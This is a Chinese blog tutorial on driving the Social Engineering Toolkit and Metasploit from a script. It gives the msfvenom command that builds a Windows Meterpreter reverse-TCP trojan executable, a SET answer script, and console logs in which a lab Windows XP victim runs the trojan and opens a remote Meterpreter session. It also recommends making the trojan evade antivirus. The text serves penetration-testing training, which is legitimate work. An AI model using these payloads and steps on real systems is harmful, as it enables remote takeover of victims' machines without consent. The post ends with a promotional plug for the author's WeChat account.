# Metasploit之社会工程学工具包

社会工程学工具包(Social Engineering Toolkit, SET)是一套基于Python语言的工具集合,主要面向对人进行的渗透测试。使用SET可以实现多种攻击,比如:网络钓鱼攻击、网页劫持攻击、格式文件攻击等。

这里,我们同样以一个实际案例来进行说明。

攻击机 Kali 192.168.175.128

靶机 WinXP 192.168.175.130

# 生成exe木马

msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.175.128 lport=4444  -f exe -o  shell.exe
1

注意:实际过程中,需要多exe木马进行免杀防护。

# 将木马上传到靶机

实际中,我们需要将靶机进行一系列的渗透之后,拿到靶机的系统权限,将木马上传或者下载到靶机。这里只是一个示例,我就直接将exe木马拷贝到靶机中了。

# 编写社会工程学脚本se-script

这里,我们将目录切换到Kali下的/usr/share/set目录下。

img

在此目录下,创建脚本文件se-script,内容如下:

1
4
2
192.168.175.128
4444
yes
1
2
3
4
5
6

注意:这个脚本的第一行为空行

如下图所示:

img

# 安装社会工程学工具包

注意:第一次使用Kali下的社会工程学工具包的时候,需要将目录切换到/usr/share/set目录下后,执行如下命令进行安装:

./setup.py install
1

如果已经执行过安装命令,则此步骤可忽略。

# 运行社会工程学脚本se-script

这里,我们在Kali的/usr/share/set目录下输入如下命令:

./seautomate se-script 
1

具体如下:

root@binghe:/usr/share/set# ./seautomate se-script 

           ..###..####.####
           .#....#.#..........#...
           .#.......#..........#...
           ..###..###......#...
           .......#.#..........#...
           .#....#.#..........#...
           ..###..####....#...  

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 7.7.9
                   Codename: 'Blackout'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

     Join us on irc.freenode.net in channel #setoolkit

   The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!


 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) SMS Spoofing Attack Vector
  11) Third Party Modules

  99) Return back to the main menu.

set> 4


   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
   5) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
   6) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
   7) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
   8) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and use Reverse Meterpreter
   9) Download/Run your Own Executable        Downloads an executable and runs it

set:payloads>2
set:payloads> IP address for the payload listener (LHOST):192.168.175.128
set:payloads> Enter the PORT for the reverse listener:4444
[*] Generating the payload.. please be patient.
yes
[*] Payload has been exported to the default SET directory located under: /root/.set/payload.exe
set:payloads> Do you want to start the payload and listener now? (yes/no):[*] Launching msfconsole, this could take a few to load. Be patient...
                                                  

                 _---------.
             .' ####   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


       =[ metasploit v5.0.1-dev                           ]
+ -- --=[ 1851 exploits - 1046 auxiliary - 321 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use multi/handler
resource (/root/.set/meta_config)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.175.128
LHOST => 192.168.175.128
resource (/root/.set/meta_config)> set LPORT 4444
LPORT => 4444
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.175.128:4444 
msf5 exploit(multi/handler) > 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

输入的内容比较多,由输出的内容可知:SET工具包,将脚本文件se-script中的每一行内容都当做相应的参数设置到框架中了,同时自动启动了Metasploit框架进行监听。

此时,我们切换到靶机,点击我们的exe木马文件,如下:

img

切换到Kali命令行后,看到如下输出:

msf5 exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.175.130
[*] Meterpreter session 1 opened (192.168.175.128:4444 -> 192.168.175.130:1100) at 2019-01-27 14:41:13 +0800

此时我们按下回车,并输入sessions命令

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x86/windows  LIUYAZHUANG\lyz @ LIUYAZHUANG  192.168.175.128:4444 -> 192.168.175.130:1100 (192.168.175.130)
1
2
3
4
5
6
7
8
9
10
11
12
13

可以看到靶机和攻击机之间建立了Meterpreter连接。

接着,我们输入sessions -i 1 命令进入Meterpreter命令行,具体如下:

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - rface
Hardware MAC : 00:0c:29:5d:8e:d4
MTU          : 1500
IPv4 Address : 192.168.175.130
IPv4 Netmask : 255.255.255.0

meterpreter > 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

可见,我们已经利用社会工程学工具包,顺利拿下了目标机的Meterpreter权限。

接下来,我们就分析一下,SET框架是如何和se-script脚本中的参数进行关联的。

# 分析SET框架与se-script脚本的关系

在第5步中,我们只是输入了./seautomate se-script 命令,然后双击了exe木马文件,就拿到了靶机的meterpreter权限。这一切都是SET框架自动执行的结果,那么SET框架是如何自动执行的呢?下面我们就具体分析这个过程。

在分析的过程中,我们手动执行SET框架的每一个步骤,然后对比我们的脚本文件se-script中的内容。

# 启动SET框架

在/usr/share/set目录下输入命令:

./setoolkit
1

启动SET框架

# 选择攻击菜单

img

这里,我们选择1,社会工程学攻击

# 攻击方式

img

这里,选择4,创建一个Payload和Listener。

# 选择攻击载荷

img

这里选择2,Windows Reverse_TCP Meterpreter

# 设置监听IP和端口

img

# 是否立即启动

这里,询问是否立即启动攻击载荷和监听配置,这里输入yes

img

此时,便进入了Metasploit命令行

img

此时,我们双击下靶机上的exe木马,命令行输出如下信息:

[*] Started reverse TCP handler on 192.168.175.128:4444 
msf5 exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.175.130
[*] Meterpreter session 1 opened (192.168.175.128:4444 -> 192.168.175.130:1105) at 2019-01-27 15:03:32 +0800

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x86/windows  LIUYAZHUANG\lyz @ LIUYAZHUANG  192.168.175.128:4444 -> 192.168.175.130:1105 (192.168.175.130)
1
2
3
4
5
6
7
8
9
10
11
12

如下图:

img

此时,我们输入sessions -i 1进入Meterpreter命令行。

img

此时,我们同样拿下了靶机的Meterpreter权限。

# 对比分析

在我们手动启动SET进行攻击的时候,依次输入了:1->4->2->192.168.175.128->4444-yes

再来看我们的se-script脚本:

img

正好一一对应,

注意:脚本的第一行为空行。

# 写在最后

如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!